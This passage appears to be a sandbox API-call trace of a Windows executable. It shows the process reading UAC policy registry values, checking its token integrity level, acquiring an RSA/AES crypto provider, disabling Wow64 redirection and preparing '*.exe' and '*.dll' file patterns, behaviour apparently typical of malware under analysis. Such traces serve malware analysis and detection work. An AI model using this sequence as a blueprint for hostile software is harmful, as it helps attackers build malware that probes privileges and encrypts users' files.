(HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad248 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad258 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac2d0 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x30) returned 0x3ab930 [0175.713] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab860) returned 1 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad268 [0175.713] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac318 [0175.713] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad278 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac360 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad288 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac3a8 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad298 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac3f0 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac480 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ab930) returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2a8 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac4c8 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2b8 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac510 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac558 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac438 [0175.714] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x19f7f4, lpcchValueName=0x19f7f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x19f7f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.714] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.715] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.715] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.715] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1f8) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac240) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad1e8) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad208) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad218) returned 1 [0175.715] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x19f900, lpData=0x0, lpcbData=0x19f908*=0x0 | out: lpType=0x19f900*=0x4, lpData=0x0, lpcbData=0x19f908*=0x4) returned 0x0 [0175.715] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x19f900, lpData=0x3ac480, lpcbData=0x19f908*=0x4 | out: lpType=0x19f900*=0x4, lpData=0x3ac480*=0x1, lpcbData=0x19f908*=0x4) returned 0x0 [0175.715] RegCloseKey (hKey=0x24) returned 0x0 [0175.715] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f978 | out: TokenHandle=0x19f978*=0x24) returned 1 [0175.715] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x19f974, TokenInformationLength=0x4, ReturnLength=0x19f970 | out: TokenInformation=0x19f974, ReturnLength=0x19f970) returned 1 [0175.715] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f964 | out: TokenHandle=0x19f964*=0xa0) returned 1 [0175.715] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f960 | out: TokenInformation=0x0, ReturnLength=0x19f960) returned 0 [0175.715] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.715] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x3ac5a0, TokenInformationLength=0x14, ReturnLength=0x19f960 | out: TokenInformation=0x3ac5a0, ReturnLength=0x19f960) returned 1 [0175.715] GetSidSubAuthorityCount (pSid=0x3ac5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x3ac5a9 [0175.715] GetSidSubAuthority (pSid=0x3ac5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x3ac5b0 [0175.715] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac5a0) returned 1 [0175.715] NtClose (Handle=0xa0) returned 0x0 [0175.715] GetSystemInfo (in: lpSystemInfo=0x19faac | out: lpSystemInfo=0x19faac*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x6c) returned 0x3ab860 [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac5a0 [0175.716] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac480 [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac438 [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac558 [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac510 [0175.716] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x5000) returned 0xcf0048 [0175.717] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac4c8 [0175.717] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac4c8) returned 1 [0175.717] CryptAcquireContextW (in: phProv=0x19fac0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x19fac0*=0x62e540) returned 1 [0175.731] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf0048) returned 1 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ab8d8 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ab960 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac4c8 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ab9e8 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3aba70 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac3f0 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abaf8 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac3a8 [0175.731] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x5000) returned 0xcf0048 [0175.732] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac360 [0175.732] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac360) returned 1 [0175.732] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0175.827] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf0048) returned 1 [0175.827] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6283a8, lpbSaclPresent=0x19fa74, pSacl=0x19fac8, lpbSaclDefaulted=0x19fa74 | out: lpbSaclPresent=0x19fa74, pSacl=0x19fac8, lpbSaclDefaulted=0x19fa74) returned 1 [0175.827] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac360 [0175.827] CreateEventA (lpEventAttributes=0x19fabc, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0175.827] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac360) returned 1 [0175.827] GetLastError () returned 0x0 [0175.827] LocalFree (hMem=0x6283a8) returned 0x0 [0175.827] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac360 [0175.827] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x5000) returned 0xcf0048 [0175.827] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac318 [0175.827] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac318) returned 1 [0175.827] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0175.830] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf0048) returned 1 [0175.830] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6283a8, lpbSaclPresent=0x19fa74, pSacl=0x19fac8, lpbSaclDefaulted=0x19fa74 | out: lpbSaclPresent=0x19fa74, pSacl=0x19fac8, lpbSaclDefaulted=0x19fa74) returned 1 [0175.830] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac318 [0175.830] CreateEventA (lpEventAttributes=0x19fabc, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0175.830] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac318) returned 1 [0175.830] GetLastError () returned 0x0 [0175.830] LocalFree (hMem=0x6283a8) returned 0x0 [0175.830] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac318 [0175.830] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x5000) returned 0xcf0048 [0175.830] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac2d0 [0175.831] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac2d0) returned 1 [0175.831] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0175.831] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf0048) returned 1 [0175.831] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6283a8, lpbSaclPresent=0x19fa74, pSacl=0x19fac8, lpbSaclDefaulted=0x19fa74 | out: lpbSaclPresent=0x19fa74, pSacl=0x19fac8, lpbSaclDefaulted=0x19fa74) returned 1 [0175.831] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac2d0 [0175.831] CreateEventA (lpEventAttributes=0x19fabc, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0175.831] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac2d0) returned 1 [0175.831] GetLastError () returned 0x0 [0175.831] LocalFree (hMem=0x6283a8) returned 0x0 [0175.831] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf0048 [0175.831] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abb80 [0175.831] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac2d0 [0175.832] Wow64DisableWow64FsRedirection (in: OldValue=0x19faf0 | out: OldValue=0x19faf0*=0x0) returned 1 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf2850 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf2850) returned 1 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x2800) returned 0xcf2850 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad600 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2b8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2a8 [0175.832] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.832] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2b8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2a8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad600) returned 1 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad600 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2a8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac168 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2b8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1b0 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad5e8) returned 1 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad5e8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2d8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac1f8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2c8 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac288 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac168) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2a8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1b0) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2b8) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad600) returned 1 [0175.833] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0xcf2850) returned 1 [0175.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0175.833] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ad9d0 [0175.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac1f8, cbMultiByte=5, lpWideCharStr=0x3ad9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ada58 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad9d0) returned 1 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x10) returned 0x3ad600 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2b8 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ad9d0 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ada58) returned 1 [0175.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ada58 [0175.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ac288, cbMultiByte=5, lpWideCharStr=0x3ada58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3adae0 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ada58) returned 1 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3ad2a8 [0175.834] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3ada58 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3adae0) returned 1 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac1f8) returned 1 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2d8) returned 1 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac288) returned 1 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ad2c8) returned 1 [0175.834] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, 